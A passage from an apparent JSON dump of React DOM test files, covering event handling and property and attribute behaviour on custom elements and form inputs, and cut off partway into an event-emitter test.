 expect(customOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(1);\n\n      // The native input event only produces a React onInput event.\n      clearMocks();\n      regularInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      customInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n\n      // Clicking again should trigger onClick and onChange on both inputs.\n      clearMocks();\n      setUntrackedChecked.call(regularInput, false);\n      regularInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(1);\n      setUntrackedChecked.call(customInput, false);\n      customInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(1);\n    });\n\n    it('<select is=...> should have the same onChange/onInput/onClick behavior as <select>', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const regularOnInputHandler = jest.fn();\n      const regularOnChangeHandler = jest.fn();\n      const regularOnClickHandler = jest.fn();\n      const customOnInputHandler = jest.fn();\n      const customOnChangeHandler = jest.fn();\n      const customOnClickHandler = jest.fn();\n      function clearMocks() {\n        regularOnInputHandler.mockClear();\n        regularOnChangeHandler.mockClear();\n        regularOnClickHandler.mockClear();\n        customOnInputHandler.mockClear();\n        customOnChangeHandler.mockClear();\n        customOnClickHandler.mockClear();\n      }\n      await act(() => {\n        root.render(\n          <div>\n            <select\n              onInput={regularOnInputHandler}\n              onChange={regularOnChangeHandler}\n              onClick={regularOnClickHandler}\n            />\n            <select\n              is=\"my-custom-element\"\n              onInput={customOnInputHandler}\n              onChange={customOnChangeHandler}\n              onClick={customOnClickHandler}\n            />\n          </div>,\n        );\n      });\n\n      const regularSelect = container.querySelector(\n        'select:not([is=my-custom-element])',\n      );\n      const customSelect = container.querySelector(\n        'select[is=my-custom-element]',\n      );\n      expect(regularSelect).not.toBe(customSelect);\n\n      // Clicking should only trigger onClick on both inputs.\n      clearMocks();\n      regularSelect.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(1);\n      customSelect.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(1);\n\n      // Native input event should only trigger onInput on both inputs.\n      clearMocks();\n      regularSelect.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      customSelect.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n\n      // Native change event should trigger onChange.\n      clearMocks();\n      regularSelect.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      customSelect.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n    });\n\n    it('onChange/onInput/onClick on div with various types of children', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const onChangeHandler = jest.fn();\n      const onInputHandler = jest.fn();\n      const onClickHandler = jest.fn();\n      function clearMocks() {\n        onChangeHandler.mockClear();\n        onInputHandler.mockClear();\n        onClickHandler.mockClear();\n      }\n      await act(() => {\n        root.render(\n          <div\n            onChange={onChangeHandler}\n            onInput={onInputHandler}\n            onClick={onClickHandler}>\n            <my-custom-element />\n            <input />\n            <input is=\"my-custom-element\" />\n          </div>,\n        );\n      });\n      const customElement = container.querySelector('my-custom-element');\n      const regularInput = container.querySelector(\n        'input:not([is=\"my-custom-element\"])',\n      );\n      const customInput = container.querySelector(\n        'input[is=\"my-custom-element\"]',\n      );\n      expect(regularInput).not.toBe(customInput);\n\n      // Custom element has no special logic for input/change.\n      clearMocks();\n      customElement.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      customElement.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      customElement.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n\n      // Regular input treats browser input as onChange.\n      clearMocks();\n      setUntrackedValue.call(regularInput, 'hello');\n      regularInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      regularInput.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      regularInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n\n      // Custom input treats browser input as onChange.\n      clearMocks();\n      setUntrackedValue.call(customInput, 'hello');\n      customInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      customInput.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      customInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n    });\n\n    it('custom element onChange/onInput/onClick with event target input child', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const onChangeHandler = jest.fn();\n      const onInputHandler = jest.fn();\n      const onClickHandler = jest.fn();\n      await act(() => {\n        root.render(\n          <my-custom-element\n            onChange={onChangeHandler}\n            onInput={onInputHandler}\n            onClick={onClickHandler}>\n            <input />\n          </my-custom-element>,\n        );\n      });\n\n      const input = container.querySelector('input');\n      setUntrackedValue.call(input, 'hello');\n      input.dispatchEvent(new Event('input', {bubbles: true}));\n      // Simulated onChange from the child's input event\n      // bubbles to the parent custom element.\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      // Consequently, the native change event is ignored.\n      input.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      input.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n    });\n\n    it('custom element onChange/onInput/onClick with event target div child', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const onChangeHandler = jest.fn();\n      const onInputHandler = jest.fn();\n      const onClickHandler = jest.fn();\n      await act(() => {\n        root.render(\n          <my-custom-element\n            onChange={onChangeHandler}\n            onInput={onInputHandler}\n            onClick={onClickHandler}>\n            <div />\n          </my-custom-element>,\n        );\n      });\n\n      const div = container.querySelector('div');\n      div.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n\n      div.dispatchEvent(new Event('change', {bubbles: true}));\n      // React always ignores change event invoked on non-custom and non-input targets.\n      // So change event emitted on a div does not propagate upwards.\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n\n      div.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n    });\n\n    it('div onChange/onInput/onClick with event target div child', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const onChangeHandler = jest.fn();\n      const onInputHandler = jest.fn();\n      const onClickHandler = jest.fn();\n      await act(() => {\n        root.render(\n          <div\n            onChange={onChangeHandler}\n            onInput={onInputHandler}\n            onClick={onClickHandler}>\n            <div />\n          </div>,\n        );\n      });\n\n      const div = container.querySelector('div > div');\n      div.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n\n      div.dispatchEvent(new Event('change', {bubbles: true}));\n      // React always ignores change event invoked on non-custom and non-input targets.\n      // So change event emitted on a div does not propagate upwards.\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n\n      div.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n    });\n\n    it('custom element onChange/onInput/onClick with event target custom element child', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const onChangeHandler = jest.fn();\n      const onInputHandler = jest.fn();\n      const onClickHandler = jest.fn();\n      await act(() => {\n        root.render(\n          <my-custom-element\n            onChange={onChangeHandler}\n            onInput={onInputHandler}\n            onClick={onClickHandler}>\n            <other-custom-element />\n          </my-custom-element>,\n        );\n      });\n\n      const customChild = container.querySelector('other-custom-element');\n      customChild.dispatchEvent(new Event('input', {bubbles: true}));\n      // There is no simulated onChange, only raw onInput is dispatched.\n      expect(onChangeHandler).toBeCalledTimes(0);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      // The native change event propagates to the parent as onChange.\n      customChild.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(0);\n      customChild.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(onChangeHandler).toBeCalledTimes(1);\n      expect(onInputHandler).toBeCalledTimes(1);\n      expect(onClickHandler).toBeCalledTimes(1);\n    });\n\n    it('custom elements should allow custom events with capture event listeners', async () => {\n      const oncustomeventCapture = jest.fn();\n      const oncustomevent = jest.fn();\n      function Test() {\n        return (\n          <my-custom-element\n            oncustomeventCapture={oncustomeventCapture}\n            oncustomevent={oncustomevent}>\n            <div />\n          </my-custom-element>\n        );\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test />);\n      });\n      container\n        .querySelector('my-custom-element > div')\n        .dispatchEvent(new Event('customevent', {bubbles: false}));\n      expect(oncustomeventCapture).toHaveBeenCalledTimes(1);\n      expect(oncustomevent).toHaveBeenCalledTimes(0);\n    });\n\n    it('innerHTML should not work on custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element innerHTML=\"foo\" />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      expect(customElement.getAttribute('innerHTML')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n\n      // Render again to verify the update codepath doesn't accidentally let\n      // something through.\n      await act(() => {\n        root.render(<my-custom-element innerHTML=\"bar\" />);\n      });\n      expect(customElement.getAttribute('innerHTML')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n    });\n\n    it('innerText should not work on custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element innerText=\"foo\" />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      expect(customElement.getAttribute('innerText')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n\n      // Render again to verify the update codepath doesn't accidentally let\n      // something through.\n      await act(() => {\n        root.render(<my-custom-element innerText=\"bar\" />);\n      });\n      expect(customElement.getAttribute('innerText')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n    });\n\n    it('textContent should not work on custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element textContent=\"foo\" />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      expect(customElement.getAttribute('textContent')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n\n      // Render again to verify the update codepath doesn't accidentally let\n      // something through.\n      await act(() => {\n        root.render(<my-custom-element textContent=\"bar\" />);\n      });\n      expect(customElement.getAttribute('textContent')).toBe(null);\n      expect(customElement.hasChildNodes()).toBe(false);\n    });\n\n    it('values should not be converted to booleans when assigning into custom elements', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      customElement.foo = null;\n\n      // true => string\n      await act(() => {\n        root.render(<my-custom-element foo={true} />);\n      });\n      expect(customElement.foo).toBe(true);\n      await act(() => {\n        root.render(<my-custom-element foo=\"bar\" />);\n      });\n      expect(customElement.foo).toBe('bar');\n\n      // false => string\n      await act(() => {\n        root.render(<my-custom-element foo={false} />);\n      });\n      expect(customElement.foo).toBe(false);\n      await act(() => {\n        root.render(<my-custom-element foo=\"bar\" />);\n      });\n      expect(customElement.foo).toBe('bar');\n\n      // true => null\n      await act(() => {\n        root.render(<my-custom-element foo={true} />);\n      });\n      expect(customElement.foo).toBe(true);\n      await act(() => {\n        root.render(<my-custom-element foo={null} />);\n      });\n      expect(customElement.foo).toBe(null);\n\n      // false => null\n      await act(() => {\n        root.render(<my-custom-element foo={false} />);\n      });\n      expect(customElement.foo).toBe(false);\n      await act(() => {\n        root.render(<my-custom-element foo={null} />);\n      });\n      expect(customElement.foo).toBe(null);\n    });\n\n    it('boolean props should not be stringified in attributes', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element foo={true} />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n\n      expect(customElement.getAttribute('foo')).toBe('');\n\n      // true => false\n      await act(() => {\n        root.render(<my-custom-element foo={false} />);\n      });\n\n      expect(customElement.getAttribute('foo')).toBe(null);\n    });\n\n    it('custom element custom event handlers assign multiple types', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const oncustomevent = jest.fn();\n\n      // First render with string\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={'foo'} />);\n      });\n      const customelement = container.querySelector('my-custom-element');\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(0);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe('foo');\n\n      // string => event listener\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={oncustomevent} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n\n      // event listener => string\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={'foo'} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe('foo');\n\n      // string => nothing\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n\n      // nothing => event listener\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={oncustomevent} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(2);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n    });\n\n    it('custom element custom event handlers assign multiple types with setter', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const oncustomevent = jest.fn();\n\n      // First render with nothing\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      const customelement = container.querySelector('my-custom-element');\n      // Install a setter to activate the `in` heuristic\n      Object.defineProperty(customelement, 'oncustomevent', {\n        set: function (x) {\n          this._oncustomevent = x;\n        },\n        get: function () {\n          return this._oncustomevent;\n        },\n      });\n      expect(customelement.oncustomevent).toBe(undefined);\n\n      // nothing => event listener\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={oncustomevent} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n      expect(customelement.oncustomevent).toBe(null);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n\n      // event listener => string\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={'foo'} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n      expect(customelement.oncustomevent).toBe('foo');\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n\n      // string => event listener\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={oncustomevent} />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(2);\n      expect(customelement.oncustomevent).toBe(null);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n\n      // event listener => nothing\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      customelement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(2);\n      expect(customelement.oncustomevent).toBe(undefined);\n      expect(customelement.getAttribute('oncustomevent')).toBe(null);\n    });\n\n    it('assigning to a custom element property should not remove attributes', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element foo=\"one\" />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      expect(customElement.getAttribute('foo')).toBe('one');\n\n      // Install a setter to activate the `in` heuristic\n      Object.defineProperty(customElement, 'foo', {\n        set: function (x) {\n          this._foo = x;\n        },\n        get: function () {\n          return this._foo;\n        },\n      });\n      await act(() => {\n        root.render(<my-custom-element foo=\"two\" />);\n      });\n      expect(customElement.foo).toBe('two');\n      expect(customElement.getAttribute('foo')).toBe('one');\n    });\n\n    it('custom element properties should accept functions', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n\n      // Install a setter to activate the `in` heuristic\n      Object.defineProperty(customElement, 'foo', {\n        set: function (x) {\n          this._foo = x;\n        },\n        get: function () {\n          return this._foo;\n        },\n      });\n      function myFunction() {\n        return 'this is myFunction';\n      }\n      await act(() => {\n        root.render(<my-custom-element foo={myFunction} />);\n      });\n      expect(customElement.foo).toBe(myFunction);\n\n      // Also remove and re-add the property for good measure\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      expect(customElement.foo).toBe(undefined);\n      await act(() => {\n        root.render(<my-custom-element foo={myFunction} />);\n      });\n      expect(customElement.foo).toBe(myFunction);\n    });\n\n    it('switching between null and undefined should update a property', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element foo={undefined} />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      customElement.foo = undefined;\n\n      await act(() => {\n        root.render(<my-custom-element foo={null} />);\n      });\n      expect(customElement.foo).toBe(null);\n\n      await act(() => {\n        root.render(<my-custom-element foo={undefined} />);\n      });\n      expect(customElement.foo).toBe(undefined);\n    });\n\n    it('warns when using popoverTarget={HTMLElement}', async () => {\n      const popoverTarget = document.createElement('div');\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <button key=\"one\" popoverTarget={popoverTarget}>\n            Toggle popover\n          </button>,\n        );\n      });\n\n      assertConsoleErrorDev([\n        'The `popoverTarget` prop expects the ID of an Element as a string. Received HTMLDivElement {} instead.\\n' +\n          '    in button (at **)',\n      ]);\n\n      // Dedupe warning\n      await act(() => {\n        root.render(\n          <button key=\"two\" popoverTarget={popoverTarget}>\n            Toggle popover\n          </button>,\n        );\n      });\n    });\n  });\n\n  describe('deleteValueForProperty', () => {\n    it('should remove attributes for normal properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div title=\"foo\" />);\n      });\n      expect(container.firstChild.getAttribute('title')).toBe('foo');\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(container.firstChild.getAttribute('title')).toBe(null);\n    });\n\n    it('should not remove attributes for special properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <input type=\"text\" value=\"foo\" onChange={function () {}} />,\n        );\n      });\n      if (disableInputAttributeSyncing) {\n        expect(container.firstChild.hasAttribute('value')).toBe(false);\n      } else {\n        expect(container.firstChild.getAttribute('value')).toBe('foo');\n      }\n      expect(container.firstChild.value).toBe('foo');\n      await act(() => {\n        root.render(<input type=\"text\" onChange={function () {}} />);\n      });\n      assertConsoleErrorDev([\n        'A component is changing a controlled input to be uncontrolled. ' +\n          'This is likely caused by the value changing from a defined to undefined, ' +\n          'which should not happen. Decide between using a controlled or uncontrolled ' +\n          'input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)',\n      ]);\n      if (disableInputAttributeSyncing) {\n        expect(container.firstChild.hasAttribute('value')).toBe(false);\n      } else {\n        expect(container.firstChild.getAttribute('value')).toBe('foo');\n      }\n      expect(container.firstChild.value).toBe('foo');\n    });\n\n    it('should not remove attributes for custom component tag', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-icon size=\"5px\" />);\n      });\n      expect(container.firstChild.getAttribute('size')).toBe('5px');\n    });\n\n    it('custom elements should remove by setting undefined to restore defaults', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n\n      // Non-setter but existing property to active the `in` heuristic\n      customElement.raw = 1;\n\n      // Install a setter to activate the `in` heuristic\n      Object.defineProperty(customElement, 'object', {\n        set: function (value = null) {\n          this._object = value;\n        },\n        get: function () {\n          return this._object;\n        },\n      });\n\n      Object.defineProperty(customElement, 'string', {\n        set: function (value = '') {\n          this._string = value;\n        },\n        get: function () {\n          return this._string;\n        },\n      });\n\n      const obj = {};\n      await act(() => {\n        root.render(<my-custom-element raw={2} object={obj} string=\"hi\" />);\n      });\n      expect(customElement.raw).toBe(2);\n      expect(customElement.object).toBe(obj);\n      expect(customElement.string).toBe('hi');\n\n      // Removing the properties should reset to defaults by passing undefined\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      expect(customElement.raw).toBe(undefined);\n      expect(customElement.object).toBe(null);\n      expect(customElement.string).toBe('');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/InvalidEventListeners-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\njest.mock('react-dom-bindings/src/events/isEventSupported');\n\ndescribe('InvalidEventListeners', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('should prevent non-function listeners, at dispatch', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div onClick=\"not a function\" />);\n    });\n    assertConsoleErrorDev([\n      'Expected `onClick` listener to be a function, instead got a value of `string` type.\\n' +\n        '    in div (at **)',\n    ]);\n    const node = container.firstChild;\n\n    console.error = jest.fn();\n\n    const uncaughtErrors = [];\n    function handleWindowError(e) {\n      uncaughtErrors.push(e.error);\n    }\n    window.addEventListener('error', handleWindowError);\n    try {\n      node.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n    } finally {\n      window.removeEventListener('error', handleWindowError);\n    }\n    expect(uncaughtErrors.length).toBe(1);\n    expect(uncaughtErrors[0]).toEqual(\n      expect.objectContaining({\n        message:\n          'Expected `onClick` listener to be a function, ' +\n          'instead got a value of `string` type.',\n      }),\n    );\n\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error.mock.calls[0][0]).toEqual(\n      expect.objectContaining({\n        detail: expect.objectContaining({\n          message:\n            'Expected `onClick` listener to be a function, instead got a value of `string` type.',\n        }),\n        type: 'unhandled exception',\n      }),\n    );\n  });\n\n  it('should not prevent null listeners, at dispatch', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div onClick={null} />);\n    });\n\n    const node = container.firstChild;\n    await act(() => {\n      node.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactBrowserEventEmitter-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\nlet idCallOrder;\nconst recordID = function (id) {\n  idCallOrder.push(id);\n};\nconst recordIDAndStopPropagation = function (id, event) {\n  recordID(id);\n  event.stopPropagation();\n};\nconst recordIDAndReturnFalse = function (id, event) {\n  recordID(id);\n  return false;\n};\nconst LISTENER = jest.fn();\nconst ON_CLICK_KEY = 'onClick';\n\nlet GRANDPARENT;\nlet PARENT;\nlet CHILD;\nlet BUTTON;\n\nlet renderTree;\nlet putListener;\nlet deleteAllListeners;\n\nlet container;\n\n// This test is written in a bizarre way because it was previously using internals.\n// It should probably be rewritten but we're keeping it for some extra coverage.\ndescribe('ReactBrowserEventEmitter', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    LISTENER.mockClear();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    let GRANDPARENT_PROPS = {};\n    let PARENT_PROPS = {};\n    let CHILD_PROPS = {};\n    let BUTTON_PROPS = {};\n\n    function Child(props) {\n      return <div ref={c => (CHILD = c)} {...props} />;\n    }\n\n    class ChildWrapper extends React.PureComponent {\n      render() {\n        return <Child {...this.props} />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    renderTree = async function () {\n      await act(() => {\n        root.render(\n          <div ref={c => (GRANDPARENT = c)} {...GRANDPARENT_PROPS}>\n            <div ref={c => (PARENT = c)} {...PARENT_PROPS}>\n              <ChildWrapper {...CHILD_PROPS} />\n              <button\n                disabled={true}\n                ref={c => (BUTTON = 